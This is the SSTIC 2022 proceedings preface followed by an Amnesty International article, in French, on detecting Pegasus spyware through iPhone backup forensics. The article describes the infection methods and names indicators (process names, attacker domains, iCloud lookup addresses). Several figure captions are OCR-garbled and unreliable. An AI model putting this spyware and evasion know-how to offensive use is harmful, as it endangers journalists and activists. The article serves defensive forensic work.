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Préface

Voila, ca devait arriver. Nous en sommes donc a la vingtieme édition
du SSTIC. Bien siir, ce sentiment d’atteindre une étape est, au moins par-
tiellement, d{i au choix, il y a bien longtemps et par d’illustres inconnu-es
influencé-es par le nombre de leurs extrémités digitales, du systéme décimal.
Quoi qu’il en soit, avec vingt éditions vient le temps de la rétrospective.

Comme beaucoup de choses lorsqu’il s’agit du SSTIC, sa création
commence un soir par une discussion animée entre collegues et néan-
moins ami-es. Nous sommes le 24 septembre 2002, au Sous-Bock, et ceux
que nous appelons désormais avec déférence les fondateurs débattent du
manque d’opportunités en France d’échanger sur des sujets techniques
entre expert-es de la sécurité des technologies de I'information et des com-
munications. Sans doute enhardis par les quantités de potion de courage !
ingurgitées, dont peut témoigner I’état de la table leur servant alors de
support providentiel, ils décident de créer SSTIC.

Mais une conférence ne se résume pas a sa création. Au fil de son
existence, le SSTIC a connu de nombreuses évolutions. S’il s’est toujours
déroulé dans Rennes et sa périphérie proche, il aura successivement accueilli
ses fideles & Supélec, a 'ESAT (aujourd’hui 'Ecole des Transmission), a
I’Université de Rennes 1 dans I’Amphi Louis Antoine, puis a la Fac de
Droit, et enfin (pour I'instant) au Couvent des Jacobins.? A part pour
le premier déménagement, il s’est a chaque fois agi de pouvoir accueillir
un public tous les ans plus nombreux. En remplacant ’'ESAT, Rennes 1,
et plus précisément I’Amphi Louis Antoine, a permis que 450 personnes
(et jamais plus que 450, jamais jamais, promis) puissent assister a la
conférence. Pour autant, ces 450 places se sont, lors des derniéres éditions
accueillies a Rennes 1, fréquemment vendues en quelques minutes. Peu
nombreuses, les minutes. Et petites. Face a la frustration et aux menaces,
le SSTIC a donc migré dans un premier temps a la Fac de Droit, mais
s’est encore une fois retrouvé a cour(t) de places. Le SSTIC s’est alors
dirigé vers le Couvent des Jacobins, dés que celui-ci fut ouvert. Avec le
Couvent vint le luxe de pouvoir acquérir sa place jusqu’aux derniers jours
avant le début de la Conférence (majuscule méritée, de fait). Le luxe aussi

! Pour les plus aventureux, la recette de la potion de courage est trés simple : & peu
prés n’importe quoi de liquide, et de 'alcool.

2 11 ne vous aura pas échappé que SSTIC a survécu & deux des entités qui I'ont accueilli.
Elles ont principalement changé de nom, mais quand méme. . .



de pouvoir lever les bras sans éborgner sa voisine. Le luxe enfin de respirer
un air comprenant environ 20% d’oxygene et 80% d’azote. Grosso modo.

Malgré I’euphorie du succes, il n’est pas une année ou 1’Organisa-
tion® ne s’est pas posée la question de I'année de trop : “Est-ce que les
participant-es vont revenir ?”; “A quoi sert encore le SSTIC ?”; “Rennes
dispose-t-elle de stocks de menhirs suffisants ?”. .. Lorsqu’on regarde le
programme des premieres années, force est de constater que le contenu a
changé. La sécurité informatique aussi a changé. D’abord, comme nombre
d’établissements de formation et d’enseignement supérieur, elle a changé
de nom. Elle s’appelle désormais “cyber”. Mais elle a surtout beaucoup
évolué. Elle s’est spécialisée, segmentée. Qui peut encore aujourd’hui se
prétendre “expert-e cyber généraliste” 7 Chaque année, au SSTIC, nous
assistons a des présentations pointues sur des sujets qui le sont tout autant.
Oui, les présentations du SSTIC ont évolué, mais la sécurité de l’infor-
mation et des communications aussi. Nous évoluons désormais dans un
monde ol le succes ou 1’échec d’une attaque tient a un octet, un bit méme.
Dans un monde ou le détail est aussi important que le tout.

Ce qui n’a pas changé, c’est le processus de sélection des articles et des
présentations. Chaque soumission est revue par au moins quatre personnes
qui ne sont pas en conflit d’intérét avec les auteur-es. C’est aujourd’hui
la meilleure maniere que nous avons trouvée pour nous assurer que les
présentations seront de qualité et que vous reviendrez, toutes et tous,
chaque année si vous le pouvez.

L’autre maniere de vous faire revenir : les interactions sociales. Qu’elles
soient officielles ou officieuses, elles sont toujours informelles. Le SSTIC
est déja, en lui-méme, une opportunité de rencontrer ses semblables. Lors
du social event en particulier, chacun-e, et surtout les jeunes, a et doit
avoir 'opportunité de s’inscrire dans la communauté et de rencontrer les
personnes avec qui elle ou il pourra discuter sur IRC, ou sur Discord pour
les plus modernes. Voire IRL, pour les plus intrépides.

Enfin, nous savons que ce qui nous fait toutes et tous revenir a SSTIC,
ce sont les souvenirs que nous nous y sommes créés, et ’espoir d’en créer
encore de plus beaux et de plus nombreux. Nous vous souhaitons a toutes
et tous un excellent SSTIC 2022, propice a la création de nombreux et
merveilleux souvenirs, et a toutes et tous, de nombreux autres SSTIC!

Bon symposium,
Le comité d’Organisation.

3 Rappelons que I’Organisation, “O” majuscule mérité du fait de sa rectitude d’ame,
est composée de bénévoles dont aucun-e, jusqu’a présent, n’est parti-e avec la caisse.
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Smartphone et forensique : comment attraper
Pégasus for fun and non-profit.

Etienne Maynier
etienne.maynier@amnesty.org

Amnesty International

1 Introduction

En juillet 2021, le projet Pégasus [15,32] a mis sur le devant de la scéne
les abus commis par 11 pays utilisant le logiciel-espion Pégasus vendu par
la société israélienne NSO Group. Cette investigation a été menée par
un consortium de 17 médias internationaux, coordonné par l’organisation
Forbidden Stories et en collaboration avec le Security Lab d’Amnesty
International. Sans rentrer dans le détail de chaque révélation, cet article
propose de revenir sur ’histoire de NSO Group, le fonctionnement de
Pégasus et de détailler la méthodologie forensique utilisée pour démontrer
techniquement l'infection ou tentative d’infection d’un grand nombre de
téléphones de défenseur-ses des droits humains.

2 Des attaques informatiques contre la société civile

Ces dernieres années, les attaques informatiques contre les défenseur-ses
des droits humains (appelés DDH par la suite) ainsi que les journalistes
se sont multipliées [4], bien souvent avec les mémes outils et techniques
utilisées contre des gouvernements ou des entreprises. Par exemple, les
attaques contre les ONG tibétaines en exil sont le cas le plus documenté
depuis 2009, avec plus d’une dizaine de rapports décrivant I’évolution
de ces attaques, certaines attribuées a des groupes bien connus dans
I'industrie comme APT1 [20].

Des 2012, il est apparu qu’un certain nombre d’états utilisaient les
malwares développés par des entreprises commerciales, notamment les
entreprises européennes Hacking Team et Gamma Group/Finfisher, pour
cibler des DDH et journalistes (par exemple au Bahrein [19] ou au Ma-
roc [30]). Cette premiere génération d’entreprises a été a la téte de ce
marché de la surveillance entre 2010 et 2015 vendant principalement des
malwares pour Windows et Android. Les piratages de ces entreprises en
2014 et 2015 [33] ont permis de mettre en lumiere ampleur des abus
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rendus possibles par cette industrie, avec des clients dans plusieurs di-
zaines de pays. Méme s’il a fallu attendre mars 2022 pour voir la fin de
FinFisher [3], ces deux entreprises se sont effondrées suite a ces révélations,
laissant une place a prendre.

En 2016, un premier rapport [21] a révélé l'existence de NSO Group,
nouveau leader de ce marché avec un logiciel-espion appelé Pégasus per-
mettant de pirater des téléphones portables. NSO Group s’est construit
dans ’espace libre laissé par Hacking Team et FinFisher mais également
sur la promesse de pouvoir pirater des iPhone a grand renfort de vulnéra-
bilités 0-day, ce qui a su attirer des investisseurs, notamment européens
et états-uniens. Cette seconde génération d’entreprises (basées principa-
lement en Israél) a pu se développer de maniere démesurée : avant les
révélations du projet Pégasus, NSO Group comptait par exemple plus de
800 salarié-es et sa valeur était estimée a plus d’un milliard de dollars (&
titre de comparaison, ’entreprise Hacking Team n’a jamais compté plus
de 50 salarié-es).

3 NSO Group & Pégasus

Au sein d’Amnesty International, nous avons commencé a nous inté-
resser de pres & NSO Group lorsqu’un membre du staff s’est fait attaquer
par les outils de cette entreprise en juin 2018 [10]. Nous avons ensuite
publié plusieurs rapports sur des attaques utilisant Pégasus contre des
DDH au Maroc [11,12], puis au Mexique [31], avant de participer au projet
Pégasus en 2021. Ces années de recherche nous ont donné une bonne
vue d’ensemble du fonctionnement de Pégasus et notamment des moyens
d’infection.

3.1 Fonctionnement

Un document commercial de NSO Group datant de 2012 [5] fournit
encore a ce jour la meilleure vue d’ensemble des fonctionnalités de Pégasus.
Pégasus est un malware commercial développé exclusivement pour smart-
phone et vendu officiellement & des fins de lutte contre le terrorisme. Il se
base sur 'utilisation de vulnérabilités 0-day pour l'infection et I’élévation
de privilege afin de s’installer au plus haut niveau de privilege du systeme,
ce qui lui donne acces a toutes les données présentes sur le téléphone :
SMS, appels, images mais également données d’applications chiffrées de
bout en bout ainsi qu’a la caméra, au micro et a la puce GPS.

I est malheureusement difficile de savoir a quoi ressemble Pégasus
aujourd’hui car les derniers samples de Pégasus identifiés et analysés datent
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de 2016 pour la version iOS [25] et de 2017 pour la version Android [26,
29]. Ceci est largement dii aux précautions prises par NSO Group pour
éviter d’étre découvert. Ainsi, ces anciennes versions surveillent I’état
du téléphone et suppriment le malware si une tentative de jailbreak est
découverte, ou si le malware ne peut pas communiquer avec les serveurs
de Commande & Controle pendant un certain temps. Nous pensons
également que les versions récentes de Pégasus n’ont pas de persistance
sur le systeme et sont donc supprimées par un simple redémarrage du
téléphone (les infections sans clics permettant de réinfecter le téléphone si
besoin), rendant tres difficile la récupération du logiciel lors d’une analyse.

/ \ | | Pegasus Solution \
l

~
Presentation & Analysis | m ®
£ T =T —_ B a
i petine Offline Analysis Seohased Rules & alerts || A
3 Analysis
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E- Cellular Channels Wi-Fi SMS
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.E Data Collection | e
R Data  [7]  Passve [7]  Adive [T Eventbased ||
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<
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2 L e J
Agent Installation Agent Upgrade _ Agent Uninstall
N —

AL
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Fig. 1. Infrastructure logicielle de Pégasus en 2012 (Source : NSO documenta-
tion [5])

Pégasus utilise un réseau de serveurs d’anonymisation (appelé par
NSO Pegasus Anonymizing Transmission Network — PATN) entre les
téléphones compromis et les serveurs de Commande & Controle ou les
serveurs d’infection, permettant de masquer I’identité du client utilisant
Pégasus. Au cours de nos recherches, nous avons développé des empreintes
de ces serveurs d’anonymisation afin d’identifier et de relier les activités
d’un grand nombre de domaines et serveurs, et ce pour plusieurs géné-
rations d’infrastructures de NSO. Une empreinte consiste a trouver un
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set d’informations spécifiques a la configuration de ce serveur, et chercher
d’autres serveurs partageant cette configuration. Par exemple, une des
empreintes que nous avons développées reposait sur la liste d’algorithmes
de chiffrement supportés par TLS (un fonctionnement assez proche de
JARM). Cette liste de domaines et serveurs nous a ensuite permis d’at-
tribuer ces attaques a l'infrastructure de Pégasus (voir [13] pour plus de
détails).

— Online v3 NSO domains \
= Valid v4 NSO domain certs /1\
Online v4 DNS servers /
—— Amnesty published first NSO report f/
Amnesty publishes first NSO Morocco repart /
—— CitizenLab iPwn report I
—— WhatsApp notification JJ
.
/
{

o N
. K = N
E —~ | W \

016 017 20‘18 019 2020 021
Date registered

# Domains

Fig. 2. Evolution du nombre de domaines de 'infrastructure de Pégasus (source :
rapport Amnesty [13])

Enfin, un backend est installé chez le client final de NSO, et permet
de mener des attaques et de récolter les informations des téléphones
compromis. Les informations accessibles par NSO Group sur les personnes
ciblées par Pégasus est soumis a controverse : NSO Group prétend ne pas
savoir qui est ciblé par ses clients car ces informations ne sont disponibles
que sur les serveurs installés chez eux, mais a plusieurs fois nié que
Pégasus avait été utilisé pour cibler certaines personnes. En particulier,
NSO Group a publiquement nié le fait que Pégasus ait été utilisé pour cibler
le journaliste Jamal Khashoggi et ses proches; or, nous avons démontré
durant le projet Pégasus que deux de ses proches avaient bien été ciblées
avant et apreés son assassinat [27].

3.2 Modes d’infection

Attaques par SMS Jusqu’en 2019, la plupart des attaques de Pégasus
identifiées reposaient sur I’envoi de liens par SMS. Un clic sur un de ces
liens conduisait a ’exploitation du navigateur suivie d’une élévation de
privilege afin d’installer Pégasus (seule une chaine d’exploits de ce type a
été identifiée par le Citizen Lab en 2016 [21]).
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2 Nov 2017 at 12:29

Truecaller a le plaisir de vous
annoncer 'ajout d'une nouvelle
functionnalité, consulter le noms des
personnes qui ont chercheé votre
numeéro durant une semaine
http:/tinyurl.com/redacted

15 Nov 2017 at 17:05
ISl a5 eite Jals LAT Aapuad

g ) gl Saallalbly iy
daunilibitps:ivideosdownload.colreda

Translation

Truecaller has the pleasure to
announce the addition of a new
functionality, check the name of
the people who searched your
number in the last week. [exploit
link

A moral scandal inside Portz Cafe
in the Agdal district in Rabat. To
see the video documenting the
scandal.

[exploit link]

Maati Monjib o

Human Rights Defender 7 Dec 2017 at 18:21

ALQODS RESTERA TOUJOURS LA Jerusalem will remain the capital

CAPITALE DE LA PALESTINE of Palestine

SAUVEZ LA VILLE SAINTE EN Save the holy city by signing this
SIGNANT CETTE PETITION petition.

httpe/ftinyur. com/redacted [exploit link]

8 Jan 2018 at 12:58

Urgent le livre sur Donald Trump s est rentinesoos oo Donald frimo

e is selling fast in all book shops
@O arrache dans toutes les libraires une sl i
version arabe est disponible free at the following link
gratuitement sur le lien i >
AMHESTY http:/itinyurl. com/redacted lexploit link
INTERNATIONAL

Fig. 3. Attaques par SMS contre le DDH marocain Maati Monjib (source : rapport
Amnesty [11])

En termes de recherche, tous les rapports de cette période (par exemple
au Mexique [22]) se sont basés sur la recherche de SMS malveillants et
une attribution a 'infrastructure de Pégasus via une empreinte de celle-ci.

Vulnérabilités dans des applications Aux alentours de 2018/2019,
NSO Group a commencé a déployer largement des techniques d’infection
ne demandant pas d’interaction avec la personne ciblée (couramment
appelées attaques 0-click). Ces attaques sont principalement basées sur des
vulnérabilités logicielles dans des applications. En octobre 2019, WhatsApp
a révélé que NSO Group avait utilisé une faille dans ’application (CVE-
2019-3568) pour cibler 1400 personnes entre avril et mai 2019, notamment
plus d’une centaine de DDH, avocat-es, universitaires et journalistes [6].
Lors de notre investigation, nous avons identifié des traces forensiques
d’exploitation de différentes applications sur iPhone, principalement iMes-
sage mais également Apple Photo et Apple Music [13]. Nous avons notam-
ment identifié une vulnérabilité 0-day dans iMessage exploitée de début
2021 & juillet 2021 pendant notre investigation. Cette vulnérabilité que
nous avons baptisée Mégalodon a également été identifiée par le Citizen
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Lab (sous le nom FORCEDENTRY [23]) qui a trouvé des traces foren-
siques permettant & Apple de la corriger en septembre 2021 dans iOS 14.8
(CVE-2021-30860).

Injection de trafic Lors de nos recherches sur I'utilisation de Pégasus au
Maroc, nous avons identifié deux cas d’attaques par injection de trafic [11,
12]. Par une analyse forensique des téléphones infectés, nous avons observé
des redirections lors de la visite de certains sites en HTTP vers des
domaines de l'infrastructure de Pégasus, suivies de traces d’infections par
Pégasus.

Malicious SMS message
with exploit link

NSO Group aCtIVIt Network injection attempt
in Morocco

NSO Group domain
pirinan

Forensics artifacts on device

st First observed exploit SMS linking to

11th October 2017 @ stopsms.biz
Abdessadak El Bouchattaoui
23rd October 2017
Last observed NSO SMS in Moracco
Maati Monjib
8th January 2018

First observed artifact of successful
exploitation “ART"

@ ®©

) ) Maati Monjib
First Amnesty International 28th Agril 2018
report on NSO Group NSO infrastructure used in
1st August 2018

SMS-based attacks goes offline
free247downloads.com August 2018

Injection domain registered
28th September 2018

First observed injection with
free247downloads.com
Omar Radi

27th January 2019

Exploitation artifact “ART"
observed after network injection
Omar Radi

11th February 2019

Exploitation artifact “ART”
observed after network injection
Maati Monjib

27th March 2019

Redirect to French business “BiZ*
from free247downloads.com
Maati Monjib

Amnesty International 14th April 2019

notifies NSO Group about

network injection attacks
2nd October 2019

Amnesty International
publishes Morocco report
10th October 2019

First observed injection with
urlpush.net domain

Omar Radi

27th January 2020

Redirect to French business “B/Z”
after injection with urlpush.net
‘Omar Radi

29th January 2020

Free247downloads.com
infrastructure goes offline
6th October 2019

Injection domain urlpush.net is
registered
6th November 2019

INTERNATIONAL

Fig. 4. Attaques utilisant Pégasus au Maroc (source : rapport Amnesty [12])

Cette injection de trafic peut-étre réalisée par deux moyens : soit en
déployant un systéme d’injection de trafic sur le réseau marocain (ou a la
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frontiere entre le réseau marocain et les différents réseaux upstream), soit
en utilisant un systéme de type IMSI Catcher. Les IMSI Catchers (parfois
appelés Stingrays) sont des fausses antennes-relais mobiles permettant
I'identification et parfois l'interception de trafic de téléphones mobiles
dans une zone géographique précise. L’utilisation d’injection de trafic pour
infecter un téléphone avec Pégasus a seulement été démontrée au Maroc,
et nous ne savons pas si cette technique est ou a été utilisée par d’autres
clients de NSO Group.

3.3 Impact de Pégasus

Il serait incomplet de ne voir le probléme de la surveillance ciblée
illégale que par le prisme d’une attaque contre la vie privée. Ces attaques
se passent toujours dans un contexte extrémement tendu en matiere de
droits humains, et s’ajoutent a tout un arsenal répressif utilisé contre
celleux qui luttent pour les droits humains ou une presse indépendante.
Ainsi, la premiére personne identifiée comme ayant été une cible de Pégasus,
le militant émirati Ahmed Mansoor, est en prison depuis mars 2017 pour
menace a ’ordre public malgré les demandes de libération faites par de
nombreuses organisations. De méme, beaucoup de journalistes ciblé-es
par Pégasus font déja leur travail dans des pays ou la liberté de la presse
est régulierement attaquée, comme au Maroc, au Mexique ou en Inde.
Enfin, il est tentant mais faux de considérer que ce probléme ne touche
que les « pays du sud », car nous savons maintenant que des journalistes,
militant-es et opposant-es politiques ont été ciblé-es par Pégasus en France
et en Europe (Hongrie, Pologne et Espagne notamment).

Si ces attaques représentent un probléme grave en termes de liberté
d’expression, il faut également bien comprendre les conséquences person-
nelles qu’elles ont pour les personnes ciblées. Se rendre compte qu’une
partie intime de sa vie a été espionnée peut provoquer un choc psycholo-
gique important dont il peut étre difficile de se remettre.

4 Faire de Panalyse forensique de smartphones

Du fait de I’évolution de ces attaques vers des attaques sans clic, nous
avons di développer une méthodologie d’analyse forensique pour identifier
des traces de Pégasus sur smartphone.

L’analyse forensique de smartphones pose plus de problémes techniques
que 'analyse d’ordinateurs en raison de leur architecture plus fermée. Deux
problemes majeurs se sont posés a nous : d’une part, comment accéder a
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des données utiles sur un smartphone ? Et, d’autre part, comment identifier
des traces de Pégasus?

L’acces aux données pose plus de problémes qu’on ne le pense au pre-
mier abord. La situation idéale serait de pouvoir rooter ou jailbreaker un
téléphone et récupérer les données afin de les analyser. Malheureusement,
ces méthodes posent des risques de fiabilité (notamment sur Android), des
risques en termes de dommages sur le téléphone (briquer un téléphone
est peu courant, mais cela arrive), et enfin laissent des traces sur le télé-
phone qui peuvent le rendre moins sécurisé et moins utilisable (beaucoup
d’applications — notamment bancaires — refusent de fonctionner sur un
téléphone qui a été rooté ou jailbreaké). Il est donc difficile d’utiliser une
technique aussi intrusive de maniere systématique pour vérifier un grand
nombre des téléphones de DDH.

Il faut donc regarder les autres types de données disponibles, et nous
nous sommes notamment intéressés aux backups. Si cette fonctionnalité a
été peu a peu abandonnée sous Android, elle est encore centrale sur les
iPhone et les backups faits, par exemple, avec iTunes enregistrent beaucoup
de données, y compris des informations spécifiques au fonctionnement du
systéme.

La recherche de traces de Pégasus a nécessité un travail de fourmi
en analysant un par un des fichiers systeme, la plupart du temps non
documentés, au fur et & mesure que nous analysions des téléphones poten-
tiellement piratés. La communauté forensique internationale se consacrant
majoritairement a un travail de police cherchant & analyser les faits et
gestes du propriétaire de I'iPhone, il existe en réalité peu de ressources sur
la détection d’intrusions pour smartphone d’un point de vue forensique.
Nous avons donc au fur et a mesure des cas, développé une nouvelle liste
d’artefacts forensiques, en ayant parfois une compréhension partielle de
certains champs ou fichiers générés par le systeme.

Si cette recherche a été fructueuse sur iPhone en se basant notam-
ment sur les données nombreuses disponibles dans les backups, elle n’a
malheureusement pas abouti sous Android et nous continuons a chercher
une méthode aussi efficace pour ce systeme d’exploitation. La suite de
cet article portera donc exclusivement sur ’analyse d’iPhone, méme si le
Mobile Verification Toolkit fournit tout de méme des moyens d’analyse de
téléphones Android (voir notamment [7, 8]).
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5 Meéthode d’analyse d’iPhone

Lors de la publication du projet Pégasus, nous avons publié une
méthode décrivant comment nous avons pu traquer Pégasus sur plusieurs
années [13], ainsi qu’un outil appelé le Mobile Verification Toolkit [16]
(MVT pour les intimes).

Notre méthode d’analyse d’iPhone se déroule en quatre étapes :

— faire un backup chiffré du téléphone a ’aide d’iTunes ou de libimo-

biledevice [1]

— récupérer une partie des données de ce backup pour I'analyser

— déchiffrer le backup

— analyser les données avec le Mobile Verification Toolkit.

Si la méthodologie décrite ici correspond bien a celle utilisée pendant
le projet Pégasus, plusieurs artefacts découverts depuis ont été ajoutés a
cet article afin de fournir une méthodologie plus exhaustive.

5.1 Anatomie d’un backup

La recherche d’artefacts nous a tout d’abord demandé de comprendre
la structure de fichiers d’un backup. Un backup est constitué de :
— un fichier Info.plist contenant des informations sur les applications
installées
— un fichier Manifest.plist contenant des informations sur le backup,
notamment les clés de chiffrement si celui-ci est chiffré
— un fichier Status.plist contenant des informations sur le backup
lui-méme (date, UUID)
— un fichier Manifest.db regroupant des informations sur la liste des
fichiers présents sur le backup, notamment leur chemin et domaine
— un certain nombre de fichiers nommés par leur hash, et triés par
dossiers nommeés a partir des deux premiers caracteres du hash.
Par exemple, le fichier DataUsage.sqlite que nous verrons plus loin,
a pour hash 0d609¢5/856a9bb2d56729df1d68f2958088426b et est
donc stocké dans 0d/0d609¢54856a9bb2d56729df1d68f2958a88426b.
Un backup chiffré contient plus d’informations, notamment privées,
comme les données de I'application WhatsApp.

5.2 Artefacts forensiques pour iOS

Une fois le format de ce backup analysé, nous avons pu petit a petit
découvrir des artefacts utiles a la détection de logiciels malveillants sur le
téléphone.
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DataUsage.sqlite Le fichier DataUsage.sqlite présent dans le backup (id :
0d609c54856a9bb2d56729df1d68f2958088426b) est une base de données
stockant des informations relatives a 1'utilisation du réseau de données
(2/3/4/5G) par application afin d’identifier des applications gourmandes en
données communiquées. 11 s’agit en réalité d’une mine d’or pour I'analyste,
car il garde trace de tous les processus exécutés sur le téléphone depuis
la derniere réinitialisation. Il est méme restauré en cas de sauvegarde, ce
qui nous a permis par exemple de trouver des traces d’infections sur des
téléphones n’étant plus en possession de leur propriétaire.

Cette base de données SQLite a deux tables principales, une table
ZPROCESS contenant des listes de processus avec leur domaine et leurs
dates de premieres et dernieres utilisations. Une seconde table ZLIVEU-
SAGE contient la quantité de données utilisée, ainsi qu'une date d’utilisa-
tion.

Voici par exemple une entrée de DataUsage extraite par MVT :

{

"first_isodate": "2019-08-29 23:23:13.935593",

"isodate": "2019-08-29 23:23:20.705853",

"proc_name": "mDNSResponder/com.apple.AppStore",

"bundle_id": "com.apple.AppStore",

"proc_id": 38,

"wifi_in": 0.0,

"wifi_out": 0.0,

"wwan_in": 437.0,

"wwan_out": 138.0,

"live_id": 7,

"live_proc_id": 38,

"live_isodate": "2019-08-29 23:23:13.933432"
P

Listing 1. Extrait d’un fichier DataUsage

Cette entrée nous indique que le 29 aofit 2019, le processus
mDNSResponder/com.apple. AppStore qui appartient a ’application
com.apple. AppStore a envoyé 138 octets de données et regu 437 octets. Le
bundle_id est important ici : il nous indique qu’il s’agit d’un processus
appartenant a une application et non ayant des droits systeme élevés.
Dans certains cas, un bug dans iOS fait que seuls les 8 premiers caractéres
du nom de processus sont enregistrés.

Au cours de notre enquéte, nous avons identifié 75 processus [17]
utilisés par différents composants de Pégasus, le plus souvent ayant des
noms proches de processus systéeme, comme par exemple seraccountd ou
rlaccountd.

Nous avons également remarqué que certaines versions de Pégasus
récentes suppriment leurs noms de processus de cette base de données.
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Dans certains cas, cette suppression se fait de maniére incomplete, seule
I’entrée dans la table ZPROCESS est supprimée, laissant une entrée dans
la table ZLIVEUSAGE orpheline. D’expérience, nous avons trouvés de tres
rares cas dans lesquels ce phénomeéne se produit sans infection de Pégasus
(probablement en raison d’un bug lors d’une restauration de sauvegarde),
il s’agit donc d’un indicateur important de la présence possible de Pégasus
mais qui ne suffit pas a démontrer une infection.

Enfin, certaines versions de Pégasus suppriment correctement les pro-
cessus en rapport avec Pégasus de ces deux tables. Néanmoins, les identi-
fiants des entrées de la table étant incrémentaux, il est possible de voir
qu’il y a eu des suppressions. On peut alors retrouver une période de temps
d’exécution du processus supprimé entre la premiere date d’exécution du
processus précédent et du suivant. Cet indicateur est utile mais cependant
pas totalement fiable, car nous avons remarqué des processus légitimes
supprimés automatiquement par le téléphone de maniere assez réguliere.

Manifest.db Comme nous l’avons vu précédemment, la base de données
Manifest.db est un fichier central des backups, puisqu’il contient la liste des
fichiers présents dans le backup. Mais il contient en réalité des informations
extrémement utiles & une analyse, notamment le domaine de création des
fichiers, ainsi que les dates de création, modification et changement de
statut.

C’est grace a cet artefact que nous avons pu identifier la création de
certains fichiers par Pégasus lors d’une infection, par exemple le fichier Li-
brary/Preferences/com.apple. CrashReporter.plist qui permet de désactiver
Penvoi de rapports de crash a Apple, ou encore le fichier Library/Pre-
ferences/roleaccountd.plist. Dans les deux cas, ces fichiers sont créés en
RootDomain, soit le niveau de privilege du systeme.

Voici un exemple de fichier créé par Pégasus et listé dans la base
Manifest.db et extrait par MVT :

{
"file_id": "6edc4862c937e60d235878f03a201el11de26b642",
"domain": "RootDomain",
"relative_path": "Library/Preferences/roleaccountd.plist",
"flags": 1,
"created": "2019-04-04 05:33:12.000000",
"modified": "2019-04-04 05:33:12.000000",
"status_changed": "2019-12-18 22:14:22.000000",
"mode": "00100600",
"owner": O,
"size": 262

})

Listing 2. Extrait de données d’un fichier Manifest.db
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IDStatusCache Le fichier IDStatusCache présent dans les backups (id
6097989189901 ceaase5be9b7f05fb584120e27b) répertorie les recherches de
comptes iCloud faites par des applications. Il enregistre par exemple
lorsque iMessage vérifie qu'un numéro de téléphone est bien associé a
un compte iCloud. Lors de notre enquéte, nous avons découvert qu’il
contenait des traces de recherches de comptes iCloud utilisés par NSO
Group afin d’exploiter des vulnérabilités dans des applications.

Voici un exemple d’une entrée dans ce fichier extraite par MVT mon-
trant une recherche de compte que nous attribuons a Pégasus quelques
secondes avant ’exécution d’un processus lié & Pégasus (le package
com.apple.madrid correspond & lapplication iMessage) :

{
"package": "com.apple.madrid",
"user": "mailto:emmadavies8266Q@gmail.com",
"isodate": "2019-09-10 06:09:04.634913",
"idstatus": 1,
"occurrences": 1

Fo

Dans certains cas, ’e-mail utilisé par Pégasus a deux caracteres rem-
placés par l'octet 0, comme par exemple e |z00\z00adavies8266@gmail.com
au lieu de emmadavies8266@gmail.com. Nous n’avons jamais observé de
caractere nul dans des entrées légitimes, cette modification a pu venir soit
d’une tentative d’obfuscation, soit d’un effet secondaire de I'exploitation.

Lors de notre enquéte, nous avons remarqué que ces comptes iCloud
(nous en avons listé 17 durant le projet Pégasus [17]) semblent étre spéci-
fiques a un client de NSO Group. Par exemple, nous n’avons vu l’adresse
email emmadavies8266@gmail.com ci-dessus que sur les téléphones d’An-
drés Szabd et Szabolcs Panyi, deux journalistes hongrois (vous pouvez vous
reporter a 'annexe B de notre méthodologie [13] pour plus d’informations).

Pour des raisons assez obscures, cet artefact a été supprimé des backups
par Apple dans la version iOS 14.8, quelques semaines seulement apres la
publication du projet Pégasus, nous privant d’'un artefact précieux lors de
nos analyses.

OS Analytics AD Daily Un fichier nommé
com.apple.osanalytics.addaily.plist contient une liste des processus
lancés sur le téléphone ainsi que la quantité de données utilisée en Wifi et
en Data. Découvert apres la publication du projet Pégasus et disponible
dans les backups (id f65b5fafc69bbd3c60be019c6e938e146825fa83), il
constitue un artefact important pour compléter la liste des processus
disponibles dans le fichier DataUsage. Seul bémol : il ne contient pas
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d’information sur le bundle du processus permettant de déterminer si le
processus était lancé en tant que systéme ou par une application.

{
"package": "healthappd",
"ts": "2021-03-24 12:00:38.452758",
"wifi_in": 685214.0,
"wifi_out": 221935.0,
"wwan_in": 0.0,
"wwan_out": 0.0
¥

Listing 3. Exemple de données extraites de com.apple.osanalytics.addaily.plist

SMS et messages WhatsApp Comme indiqué précédemment, une
partie des attaques de Pégasus utilise des liens envoyés par SMS, il est
donc utile de regarder les messages recus par SMS et autres applications
de messagerie. Les données de SMS sont disponibles dans le fichier pri-
vate/var/mobile/Library/SMS/sms.db qui figure dans les backups sous
I'id 3d0d7e5fb2ce288813306e4d4636395e047a3d28. Les données WhatsApp
sont elles disponibles dans les fichiers private/var/mobile/Containers/Sha-
red/AppGroup/*/ChatStorage.sqlite présents dans les backups sous 1'id
7c7thba66680ef796b916b067077cc246adacf01d (se reporter au code source
de MVT pour voir le détail des requétes SQL).

Historique de navigation L’historique de navigation est évidemment
une information importante pour identifier soit des clics sur un lien envoyé
par SMS, soit une potentielle attaque par injection de trafic. Le navigateur
Safari est installé et utilisé par défaut sur iPhone mais Chrome ou Firefox
sont assez régulierement utilisés, il est donc utile de récupérer les données
de ces trois navigateurs.

Les historiques de navigation de Chrome, Firefox et Safari sont inclus
dans les backups iOS :

— pour Safari dans le fichier Library/Safari/History.db (1'id change

en fonction des appareils)
— pour Chrome dans le fichier Library/Applica-

tion Support/Google/Chrome/Default /History (id
faf971ce92c3ac508c018dcelbef2a8b8¢9838f1 )

— pour Firefox dans le fichier priva-
te/var/mobile/profile.profile /browser.d (id

2e57¢396a35b0d1bcbc624725002d98bd61d142b).
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Ces données ne sont en général stockées que pour une durée limitée
(quelques mois tout au plus pour Safari par exemple).

Dans plusieurs analyses que nous avons faites, nous n’avons pas eu acces
aux informations de I’historique au moment de I'infection en raison du délai
entre I'infection et I’analyse. Cependant les navigateurs gardent d’autres
traces de la navigation et notamment un historique des favicons (icones
de sites web) téléchargés. Si cette donnée ne donne qu’une vue partielle
de la navigation, elle est par contre conservée pendant une plus longue
période et constitue un artefact additionnel de I'historique de navigation.
Malheureusement, le fichier Favicon de Safari n’est pas disponible dans
les backups et uniquement accessible par Jailbreak :

— pour Safari : dans les fichiers private/var/mobile/Library/Image
Cache/Favicons/Favicons.db ou private/var/mobile/Containers,/-
Data/Application/*/Library/Image Cache/Favicons/Favicons.db
par jailbreak

— pour Chrome : Library/Application Support/Google/Chrome/De-
fault/Favicons (id 55680ab883d0fdcffd94f959b1632e5fbbb18c5b)

— pour Firefox : profile.profile /browser.db (id
2e57¢396a35b0d1bcbe624725002d98bd61d142b).

LocationD Le fichier locationd/clients.plist contient des informations sur
les applications ayant demandé a utiliser la géolocalisation du téléphone,
incluant des process systéme potentiellement malveillants. Il s’agit donc
d’un artefact utile pour identifier une infection. Ce fichier est présent
dans les backups sous I'id a690d7769cce8904ca2b67320b107c8fe5f79412 et
comprend la date de début d’utilisation de la géolocalisation.

{
